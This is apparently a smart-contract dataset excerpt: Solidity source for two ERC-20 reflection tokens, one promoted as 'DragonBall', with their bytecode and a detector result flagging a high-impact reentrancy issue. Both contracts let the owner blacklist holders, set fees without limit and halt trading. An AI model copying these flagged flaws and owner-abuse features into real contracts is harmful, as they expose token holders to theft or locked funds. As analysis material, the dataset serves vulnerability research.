tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610554578063dd62ed3e14610574578063ea1644d5146105ba578063f2fde38b146105da57600080fd5b8063a2a957bb146104cf578063a9059cbb146104ef578063bfd792841461050f578063c3c8cd801461053f57600080fd5b80638f70ccf7116100d15780638f70ccf71461044b5780638f9a55c01461046b57806395d89b411461048157806398a5c315146104af57600080fd5b80637d1db4a5146103ea5780637f2feddc146104005780638da5cb5b1461042d57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038057806370a0823114610395578063715018a6146103b557806374010ece146103ca57600080fd5b8063313ce5671461030457806349bd5a5e146103205780636b999053146103405780636d8aa8f81461036057600080fd5b80631694505e116101ab5780631694505e1461027157806318160ddd146102a957806323b872dd146102ce5780632fd689e3146102ee57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024157600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195e565b6105fa565b005b34801561020a57600080fd5b506040805180820190915260088152674b6f6e6720496e7560c01b60208201525b6040516102389190611a23565b60405180910390f35b34801561024d57600080fd5b5061026161025c366004611a78565b610699565b6040519015158152602001610238565b34801561027d57600080fd5b50601454610291906001600160a01b031681565b6040516001600160a01b039091168152602001610238565b3480156102b557600080fd5b50670de0b6b3a76400005b604051908152602001610238565b3480156102da57600080fd5b506102616102e9366004611aa4565b6106b0565b3480156102fa57600080fd5b506102c060185481565b34801561031057600080fd5b5060405160098152602001610238565b34801561032c57600080fd5b50601554610291906001600160a01b031681565b34801561034c57600080fd5b506101fc61035b366004611ae5565b610719565b34801561036c57600080fd5b506101fc61037b366004611b12565b610764565b34801561038c57600080fd5b506101fc6107ac565b3480156103a157600080fd5b506102c06103b0366004611ae5565b6107f7565b3480156103c157600080fd5b506101fc610819565b3480156103d657600080fd5b506101fc6103e5366004611b2d565b61088d565b3480156103f657600080fd5b506102c060165481565b34801561040c57600080fd5b506102c061041b366004611ae5565b60116020526000908152604090205481565b34801561043957600080fd5b506000546001600160a01b0316610291565b34801561045757600080fd5b506101fc610466366004611b12565b6108bc565b34801561047757600080fd5b506102c060175481565b34801561048d57600080fd5b506040805180820190915260058152644b4f4e474960d81b602082015261022b565b3480156104bb57600080fd5b506101fc6104ca366004611b2d565b610904565b3480156104db57600080fd5b506101fc6104ea366004611b46565b610933565b3480156104fb57600080fd5b5061026161050a366004611a78565b610971565b34801561051b57600080fd5b5061026161052a366004611ae5565b60106020526000908152604090205460ff1681565b34801561054b57600080fd5b506101fc61097e565b34801561056057600080fd5b506101fc61056f366004611b78565b6109d2565b34801561058057600080fd5b506102c061058f366004611bfc565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c657600080fd5b506101fc6105d5366004611b2d565b610a73565b3480156105e657600080fd5b506101fc6105f5366004611ae5565b610aa2565b6000546001600160a01b0316331461062d5760405162461bcd60e51b815260040161062490611c35565b60405180910390fd5b60005b81518110156106955760016010600084848151811061065157610651611c6a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068d81611c96565b915050610630565b5050565b60006106a6338484610b8c565b5060015b92915050565b60006106bd848484610cb0565b61070f843361070a85604051806060016040528060288152602001611db0602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ec565b610b8c565b5060019392505050565b6000546001600160a01b031633146107435760405162461bcd60e51b815260040161062490611c35565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078e5760405162461bcd60e51b815260040161062490611c35565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e157506013546001600160a01b0316336001600160a01b0316145b6107ea57600080fd5b476107f481611226565b50565b6001600160a01b0381166000908152600260205260408120546106aa90611260565b6000546001600160a01b031633146108435760405162461bcd60e51b815260040161062490611c35565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b75760405162461bcd60e51b815260040161062490611c35565b601655565b6000546001600160a01b031633146108e65760405162461bcd60e51b815260040161062490611c35565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092e5760405162461bcd60e51b815260040161062490611c35565b601855565b6000546001600160a01b0316331461095d5760405162461bcd60e51b815260040161062490611c35565b600893909355600a91909155600955600b55565b60006106a6338484610cb0565b6012546001600160a01b0316336001600160a01b031614806109b357506013546001600160a01b0316336001600160a01b0316145b6109bc57600080fd5b60006109c7306107f7565b90506107f4816112e4565b6000546001600160a01b031633146109fc5760405162461bcd60e51b815260040161062490611c35565b60005b82811015610a6d578160056000868685818110610a1e57610a1e611c6a565b9050602002016020810190610a339190611ae5565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6581611c96565b9150506109ff565b50505050565b6000546001600160a01b03163314610a9d5760405162461bcd60e51b815260040161062490611c35565b601755565b6000546001600160a01b03163314610acc5760405162461bcd60e51b815260040161062490611c35565b6001600160a01b038116610b315760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610624565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bee5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610624565b6001600160a01b038216610c4f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610624565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d145760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610624565b6001600160a01b038216610d765760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610624565b60008111610dd85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610624565b6000546001600160a01b03848116911614801590610e0457506000546001600160a01b03838116911614155b156110e557601554600160a01b900460ff16610e9d576000546001600160a01b03848116911614610e9d5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610624565b601654811115610eef5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610624565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3157506001600160a01b03821660009081526010602052604090205460ff16155b610f895760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610624565b6015546001600160a01b0383811691161461100e5760175481610fab846107f7565b610fb59190611cb1565b1061100e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610624565b6000611019306107f7565b6018546016549192508210159082106110325760165491505b8080156110495750601554600160a81b900460ff16155b801561106357506015546001600160a01b03868116911614155b80156110785750601554600160b01b900460ff165b801561109d57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c257506001600160a01b03841660009081526005602052604090205460ff16155b156110e2576110d0826112e4565b4780156110e0576110e047611226565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112757506001600160a01b03831660009081526005602052604090205460ff165b8061115957506015546001600160a01b0385811691161480159061115957506015546001600160a01b03848116911614155b15611166575060006111e0565b6015546001600160a01b03858116911614801561119157506014546001600160a01b03848116911614155b156111a357600854600c55600954600d555b6015546001600160a01b0384811691161480156111ce57506014546001600160a01b03858116911614155b156111e057600a54600c55600b54600d555b610a6d8484848461146d565b600081848411156112105760405162461bcd60e51b81526004016106249190611a23565b50600061121d8486611cc9565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610695573d6000803e3d6000fd5b60006006548211156112c75760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610624565b60006112d161149b565b90506112dd83826114be565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132c5761132c611c6a565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138057600080fd5b505afa158015611394573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b89190611ce0565b816001815181106113cb576113cb611c6a565b6001600160a01b0392831660209182029290920101526014546113f19130911684610b8c565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142a908590600090869030904290600401611cfd565b600060405180830381600087803b15801561144457600080fd5b505af1158015611458573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147a5761147a611500565b61148584848461152e565b80610a6d57610a6d600e54600c55600f54600d55565b60008060006114a8611625565b90925090506114b782826114be565b9250505090565b60006112dd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611665565b600c541580156115105750600d54155b1561151757565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154087611693565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157290876116f0565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a19086611732565b6001600160a01b0389166000908152600260205260409020556115c381611791565b6115cd84836117db565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161291815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164082826114be565b82101561165c57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116865760405162461bcd60e51b81526004016106249190611a23565b50600061121d8486611d6e565b60008060008060008060008060006116b08a600c54600d546117ff565b92509250925060006116c061149b565b905060008060006116d38e878787611854565b919e509c509a509598509396509194505050505091939550919395565b60006112dd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ec565b60008061173f8385611cb1565b9050838110156112dd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610624565b600061179b61149b565b905060006117a983836118a4565b306000908152600260205260409020549091506117c69082611732565b30600090815260026020526040902055505050565b6006546117e890836116f0565b6006556007546117f89082611732565b6007555050565b6000808080611819606461181389896118a4565b906114be565b9050600061182c60646118138a896118a4565b905060006118448261183e8b866116f0565b906116f0565b9992985090965090945050505050565b600080808061186388866118a4565b9050600061187188876118a4565b9050600061187f88886118a4565b905060006118918261183e86866116f0565b939b939a50919850919650505050505050565b6000826118b3575060006106aa565b60006118bf8385611d90565b9050826118cc8583611d6e565b146112dd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610624565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f457600080fd5b803561195981611939565b919050565b6000602080838503121561197157600080fd5b823567ffffffffffffffff8082111561198957600080fd5b818501915085601f83011261199d57600080fd5b8135818111156119af576119af611923565b8060051b604051601f19603f830116810181811085821117156119d4576119d4611923565b6040529182528482019250838101850191888311156119f257600080fd5b938501935b82851015611a1757611a088561194e565b845293850193928501926119f7565b98975050505050505050565b600060208083528351808285015260005b81811015611a5057858101830151858201604001528201611a34565b81811115611a62576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8b57600080fd5b8235611a9681611939565b946020939093013593505050565b600080600060608486031215611ab957600080fd5b8335611ac481611939565b92506020840135611ad481611939565b929592945050506040919091013590565b600060208284031215611af757600080fd5b81356112dd81611939565b8035801515811461195957600080fd5b600060208284031215611b2457600080fd5b6112dd82611b02565b600060208284031215611b3f57600080fd5b5035919050565b60008060008060808587031215611b5c57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8d57600080fd5b833567ffffffffffffffff80821115611ba557600080fd5b818601915086601f830112611bb957600080fd5b813581811115611bc857600080fd5b8760208260051b8501011115611bdd57600080fd5b602092830195509350611bf39186019050611b02565b90509250925092565b60008060408385031215611c0f57600080fd5b8235611c1a81611939565b91506020830135611c2a81611939565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611caa57611caa611c80565b5060010190565b60008219821115611cc457611cc4611c80565b500190565b600082821015611cdb57611cdb611c80565b500390565b600060208284031215611cf257600080fd5b81516112dd81611939565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4d5784516001600160a01b031683529383019391830191600101611d28565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8b57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611daa57611daa611c80565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206b835c660a9e16148f9ce73075946116143f64f726a59889ddfc2cad2ab115ee64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
1,040
0xa0801e884f3759c7c832adba74721a850bb82307
/* DragonBall is going to launch in the Uniswap at July 3. This is fair launch and going to launch without any presale. tg: https://t.me/DragonBall twitter: https://twitter.com/DragonBall All crypto babies will become a DragonBall in here. Let's enjoy our launch! */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract DragonBallExchange is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "DBZ"; string private constant _symbol = " DragonBall Exchange "; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1) { _teamAddress = addr1; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 10000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, 15); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e4e565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612971565b61045e565b6040516101789190612e33565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612ff0565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612922565b61048d565b6040516101e09190612e33565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612894565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613065565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129ee565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612894565b610783565b6040516102b19190612ff0565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d65565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e4e565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612971565b61098d565b60405161035b9190612e33565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129ad565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a40565b6110d1565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128e6565b61121a565b6040516104189190612ff0565b60405180910390f35b60606040518060400160405280600381526020017f44425a00000000